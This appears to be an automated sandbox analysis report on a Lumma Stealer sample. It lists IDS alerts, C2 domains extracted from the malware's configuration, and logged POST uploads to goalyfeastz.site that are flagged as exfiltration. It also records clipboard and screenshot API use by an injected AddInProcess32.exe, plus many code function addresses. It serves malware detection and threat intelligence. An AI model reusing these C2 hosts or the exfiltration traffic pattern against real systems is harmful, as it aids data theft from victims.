Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:62747 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:62747 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:62749 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:62754 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:62753 -> 104.21.33.140:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: faulteyotk.site
Source: Malware configuration extractor	URLs: dilemmadu.site
Source: Malware configuration extractor	URLs: seallysl.site
Source: Malware configuration extractor	URLs: servicedny.site
Source: Malware configuration extractor	URLs: contemteny.site
Source: Malware configuration extractor	URLs: goalyfeastz.site
Source: Malware configuration extractor	URLs: authorisev.site
Source: Malware configuration extractor	URLs: treatmentyj.cyou
Source: Malware configuration extractor	URLs: opposezmny.site

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: treatmentyj.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 43Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12831Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15073Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20563Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1257Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 573511Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 78Host: goalyfeastz.site

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: treatmentyj.cyou
Source: global traffic	DNS traffic detected: DNS query: seallysl.site
Source: global traffic	DNS traffic detected: DNS query: opposezmny.site
Source: global traffic	DNS traffic detected: DNS query: goalyfeastz.site

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: treatmentyj.cyou

Source: AddInProcess32.exe, 00000004.00000002.2914223598.0000000001417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site/
Source: AddInProcess32.exe, 00000004.00000002.2914223598.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site//
Source: AddInProcess32.exe, 00000004.00000002.2914223598.000000000140B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site/8H
Source: AddInProcess32.exe, 00000004.00000002.2914223598.0000000001384000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.2914223598.000000000140B000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.2914223598.000000000136E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site/api
Source: AddInProcess32.exe, 00000004.00000002.2914223598.000000000140B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site/api/
Source: AddInProcess32.exe, 00000004.00000002.2914223598.000000000136E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site/apit
Source: AddInProcess32.exe, 00000004.00000002.2914223598.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site:443/apiID

Source: unknown	Network traffic detected: HTTP traffic on port 62752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62749
Source: unknown	Network traffic detected: HTTP traffic on port 62749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62750
Source: unknown	Network traffic detected: HTTP traffic on port 62748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62751
Source: unknown	Network traffic detected: HTTP traffic on port 62747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62754

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:62746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:62746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62754 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 4_2_00435210 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

4_2_00435210

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 4_2_00435210 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

4_2_00435210

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 4_2_004359B7 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

4_2_004359B7

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Code function: 0_2_080AAED0 CreateProcessAsUserW,

0_2_080AAED0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_006C0040	0_2_006C0040
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_00A42140	0_2_00A42140
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_00A42758	0_2_00A42758
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_00A46910	0_2_00A46910
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_00A456B8	0_2_00A456B8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_00A45BD0	0_2_00A45BD0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_00A4274C	0_2_00A4274C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_00A47AA0	0_2_00A47AA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0536BC24	0_2_0536BC24
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0536DBF0	0_2_0536DBF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0536DBE0	0_2_0536DBE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_060C30E0	0_2_060C30E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_060CE848	0_2_060CE848
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_060CD010	0_2_060CD010
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_060C30B0	0_2_060C30B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_077B3118	0_2_077B3118
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_077BDE38	0_2_077BDE38
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_077BDE27	0_2_077BDE27
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_078523B0	0_2_078523B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0785ECA3	0_2_0785ECA3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0785DE18	0_2_0785DE18
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0785FB90	0_2_0785FB90
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0785DBFD	0_2_0785DBFD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0785DC24	0_2_0785DC24
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0785DC2A	0_2_0785DC2A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0801EC18	0_2_0801EC18
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0801D42F	0_2_0801D42F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0801E050	0_2_0801E050
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0801E8CA	0_2_0801E8CA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_08013E6E	0_2_08013E6E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0801C3A7	0_2_0801C3A7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080187F8	0_2_080187F8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0801FC28	0_2_0801FC28
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0801E034	0_2_0801E034
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0801B0B0	0_2_0801B0B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0801F0CA	0_2_0801F0CA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0801F928	0_2_0801F928
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0801F938	0_2_0801F938
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_08012B20	0_2_08012B20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A9028	0_2_080A9028
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080AB450	0_2_080AB450
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A5898	0_2_080A5898
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A6136	0_2_080A6136
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A3DC8	0_2_080A3DC8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A0698	0_2_080A0698
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A0006	0_2_080A0006
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A0040	0_2_080A0040
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080AF470	0_2_080AF470
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A5888	0_2_080A5888
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A04E1	0_2_080A04E1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A04F0	0_2_080A04F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A3DB8	0_2_080A3DB8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A4DDA	0_2_080A4DDA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A4DE0	0_2_080A4DE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A7E22	0_2_080A7E22
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A7E30	0_2_080A7E30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A1248	0_2_080A1248
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A1242	0_2_080A1242
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A0269	0_2_080A0269
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A0278	0_2_080A0278
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A0695	0_2_080A0695
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080A9790	0_2_080A9790
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_07852385	0_2_07852385
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004100C5	4_2_004100C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0042509D	4_2_0042509D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00410130	4_2_00410130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0043A2E0	4_2_0043A2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0041D5AF	4_2_0041D5AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00444620	4_2_00444620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0042A6D0	4_2_0042A6D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00426800	4_2_00426800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0040F970	4_2_0040F970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0043A97E	4_2_0043A97E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0042EB60	4_2_0042EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00401000	4_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00410118	4_2_00410118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004431D0	4_2_004431D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004331DE	4_2_004331DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004291E0	4_2_004291E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004241E0	4_2_004241E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00442EB0	4_2_00442EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0040F250	4_2_0040F250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0040B260	4_2_0040B260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0040A270	4_2_0040A270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0043E230	4_2_0043E230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004432C0	4_2_004432C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004012D5	4_2_004012D5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0041E298	4_2_0041E298
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00408340	4_2_00408340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00401328	4_2_00401328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0042C3E0	4_2_0042C3E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00442380	4_2_00442380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004433B0	4_2_004433B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0042F4DD	4_2_0042F4DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00429494	4_2_00429494
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004094BF	4_2_004094BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0041F510	4_2_0041F510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004255A4	4_2_004255A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004335B0	4_2_004335B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0042D642	4_2_0042D642
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0042762D	4_2_0042762D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004386FE	4_2_004386FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004226A0	4_2_004226A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0042762D	4_2_0042762D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0040D760	4_2_0040D760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00441720	4_2_00441720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00443720	4_2_00443720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0040A730	4_2_0040A730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00429494	4_2_00429494
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0042B7D9	4_2_0042B7D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0042B7FE	4_2_0042B7FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00442850	4_2_00442850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0041482A	4_2_0041482A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004038E0	4_2_004038E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00439940	4_2_00439940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00407960	4_2_00407960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00444920	4_2_00444920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00431980	4_2_00431980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0042AA40	4_2_0042AA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0042CA72	4_2_0042CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00420A24	4_2_00420A24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00421B40	4_2_00421B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0040DB20	4_2_0040DB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00415BD8	4_2_00415BD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00439BA0	4_2_00439BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00414BBF	4_2_00414BBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00444C50	4_2_00444C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00434C60	4_2_00434C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0042AC04	4_2_0042AC04
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0043EC20	4_2_0043EC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0040ECC0	4_2_0040ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00427CD2	4_2_00427CD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0041ECDE	4_2_0041ECDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0040BD70	4_2_0040BD70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00429D00	4_2_00429D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0040ADD0	4_2_0040ADD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00432D80	4_2_00432D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00408DA0	4_2_00408DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00422E50	4_2_00422E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00416E10	4_2_00416E10
